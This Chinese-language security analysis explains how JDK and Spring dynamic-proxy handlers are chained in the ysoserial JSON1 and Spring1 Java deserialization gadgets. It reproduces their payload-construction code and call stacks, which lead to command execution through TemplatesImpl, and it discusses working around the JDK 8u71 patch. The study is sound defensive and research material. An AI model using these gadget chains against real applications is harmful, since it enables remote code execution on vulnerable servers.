盘点JDK下的动态代理在反序列化链中的利用原理
在分析各个反序列化链子以及在jackson、fastjson等组件在使用各个动态代理类进行现存限制的绕过过程中, 深入理解并研究JDK下的动态代理类的核心原理及其所起
- CompositeInvocationHandlerImpl:jdk自带,能根据不同的方法所属的类,选择不同的
InvocationHandler,可以看作InvocationHandler的代理。 - AnnotationInvocationHandler:(指定一个方法返回指定的对象)同样jdk自带,也是反序列化gdaget的常客了,它在JSON1中承担的责任实际类似一个"垃圾桶",当调用
CompositeData#getCompositeType()方法时可以返回一个CompositeType实例,避免报错抛异常。 - JdkDynamicAopProxy:来自spring-aop依赖,反射调用方法。
- AutowireUtils$ObjectFactoryDelegatingInvocationHandler:来自spring-beans依赖,反射调用方法,对象中
this.objectFactory.getObject()中获取 - JSONObject: 来自fastjson依赖,能够控制getter方法调用返回的对象
实例
JSON1链
Object payload = Gadgets.createTemplatesImpl(command);
Class[] ifaces = new Class[]{Templates.class};
// we need to make payload implement composite data
// it's very likely that there are other proxy impls that could be used
AdvisedSupport as = new AdvisedSupport();
as.setTarget(payload);
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
JSONObject jo = new JSONObject();
Map m = new HashMap();
m.put("t", cdsProxy);图源自:https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q
简单分析一下JSON1的流程吧,更好的理解动态代理的用法
JSON1这条链子来源于ysoserial框架
https://github.com/frohoff/ysoserial
首先看一下这条链子的调用栈:
/**
*
* A bit more convoluted example
*
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object)
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
* javax.management.openmbean.TabularDataSupport.equals(Object)
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/这条链子同样是因为json-lib这个json库,在反序列化过程中导致的getter方法调用导致的反序列化漏洞Gadgets,这里我们主要关注这条链子使用动态代理的方式解决问题的思想
JSON1:
public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {
CompositeType rt = new CompositeType("a", "b", new String[] {
"a"
}, new String[] {
"a"
}, new OpenType[] {
javax.management.openmbean.SimpleType.INTEGER
});
TabularType tt = new TabularType("a", "b", rt, new String[] {
"a"
});
TabularDataSupport t1 = new TabularDataSupport(tt);
TabularDataSupport t2 = new TabularDataSupport(tt);
// we need to make payload implement composite data
// it's very likely that there are other proxy impls that could be used
AdvisedSupport as = new AdvisedSupport();
as.setTarget(payload);
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
JSONObject jo = new JSONObject();
Map m = new HashMap();
m.put("t", cdsProxy);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(t1, "dataMap", jo);
Reflections.setFieldValue(t2, "dataMap", jo);
return Gadgets.makeMap(t1, t2);
}这里在JSONObject中包裹的是cdsProxy,其为CompositeData对象,其通过调用Gadgets.createProxy创建的一个代理对象
对应Proxy对象的InvocationHandler为CompositeInvocationHandlerImpl实现类,用来代理了多个接口,例如这里的CompositeData以及TemplateImpl类
在进行反序列化调用时,该json组件将会触发所有在这两个代理的类中存在的getter方法
特别的,其中因为在CompositeData类中的getCompositeType这一个getter方法调用将会抛出异常,造成反序列化利用过程中退出,造成利用失败,这里通过Gadgets.createMemoizedInvocationHandler创建了一个InvocationHandler对象类将其保存在了CompositeInvocationHandlerImpl的classToInvocationHandler属性中,用来处理在调用该getter调用返回我们精心构造的对象避免错误的发生,那么这一步是如何生效的呢?后面会介绍
同样,这里也创建了一个JdkDynamicAopProxy对象实例来代理除了CompositeData外的其他类的getter方法调用
一步一步来,首先看一看在getter方法反射调用过程中,第一个代理类CompositeInvocationHandlerImpl是如何处理的
在进行反射调用时,将会调用CompositeInvocationHandlerImpl#invoke方法
- 首先会获取待调用方法所属的类,通过
method.getDeclaringClass() - 在获取了所属类之后从
classToInvocationHandler中获取对应类是否代理了特殊处理的InvocationHandler对象 - 若存在特殊代理的
InvocationHandler对象,则将方法调用传递给它的invoke方法进行处理 - 若不存在该对象,且
defaultHandler这一默认的Handler也存在的话,则交由它进行处理
根据流程来看,CompositeInvocationHandlerImpl这一个Handler主要的作用是用来对Method方法调用进行分流处理
接下来看看代理CompositeData类的Handler,这是一个AnnotationInvocationHandler的实现类
其invoke方法:
其中var2为传入的待调用的getter方法,首先获取它的方法名为var4,在switch-case语句中的默认分支中,将会从memberValues属性中获取对应方法名返回的预定义的对象,之后直接进行返回,依靠着这样的方式能够避免getCompositeType调用导致的错误
根据流程来看,AnnotationInvocationHandler这一个Handler主要的作用是用来对特定Method方法的返回进行预定义,避免出现未知错误
接下来再瞅一瞅处理其他类所用到的JdkDynamicAopProxy
在创建该类对象是,传入的是一个AdvisedSupport对象参数,将其保存在advised属性中,特别的在该对象的targetSource属性中,存在着恶意的TemplateImpl对象
在getter方法调用时,触发其invoke方法
- 首先是从
this.advised.targetSource属性中获取到TargetSource对象 - 之后调用
getTarget方法后去具体的对象,这里是恶意的TemplateImpl对象 - 最后调用
AopUtils.invokeJoinpointUsingReflection进行获取对象的getter方法的反射调用
根据流程来看,JdkDynamicAopProxy这一个Handler主要的作用是用来进行方法的反射调用
以上大致分析了JSON1链中的动态代理使用的三个类,以及各个类所能够存在的作用
Spring1链
这条链子同样来自于ysoserial项目
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
.newInstance(objectFactoryProxy), Type.class, Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
return mitp;
}其核心是利用了sun.reflect.annotation.AnnotationInvocationHandler和org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler这两个代理类进行结合利用
首先看一下这条链子的调用栈:
/*
Gadget chain:
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
*/简单分析一下整个反序列化链的流程,核心分析如何使用动态代理实现我们的目的
这条反序列化链子的入口在org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject方法中
其在readObject实现中,将会反射调用我们从provider中获取的方法
这里作者使用创建了一个sun.reflect.annotation.AnnotationInvocationHandler实例,用来代理org.springframework.core.SerializableTypeWrapper$TypeProvider类实现,将其作为provider属性值传入到SerializableTypeWrapper$MethodInvokeTypeProvider的构造方法中
当在反序列化过程中调用provider属性值的getType方法,将会触发AnnotationInvocationHandler#invoke调用,在这个过程中返回了我们预先定制的类对象,也即是另一个动态代理类AutowireUtils$ObjectFactoryDelegatingInvocationHandler
而动态代理类AutowireUtils$ObjectFactoryDelegatingInvocationHandler代理的接口为Type.clas以及Templates.class,将其作为getType调用的返回
回到反序列化的流程,我们在readObject中的ReflectionUtils.findMethod调用中,getType返回的是AutowireUtils$ObjectFactoryDelegatingInvocationHandler代理对象,因为该对象同样代理了Template.class,则是能够反射查找到该Method,也即是newTransformer
接下来来到ReflectionUtils.invokeMethod方法的反射调用过程,在执行代理类的newTransformer调用时将会触发AutowireUtils$ObjectFactoryDelegatingInvocationHandler#invoke调用
在这个方法中,同样存在有反射调用的实现,其object对象是从objectFactory.getObject获取来的
作者这里是通过再次创建一个AnnotationInvocationHandler实例,代理接口ObjectFactory.class,使得在调用getObject方法时,能够返回恶意的TemplateImpl对象,进行进行命令执行
根据流程来看,AutowireUtils$ObjectFactoryDelegatingInvocationHandler这一个Handler主要的作用是用来进行方法的反射调用
限制
AnnotationInvocationHandler
在jdk8u71-b12之后,AnnotationInvocationHandler代码进行了修改,无法再代理非注解的接口方法,这就导致了AnnotationInvocationHandler无法再代理CompositeData接口,此时再调用getCompositeType方法就会报错。
要在高版本中稳定利用,需要替换掉AnnotationInvocationHandler。注意到JdkDynamicAopProxy的能力,容易想到再新建一个JdkDynamicAopProxy实例来代理CompositeData接口的子类(同时要求实现Serializable接口),并找到了一个jdk自带的CompositeData实现类:javax.management.openmbean.CompositeDataSupport。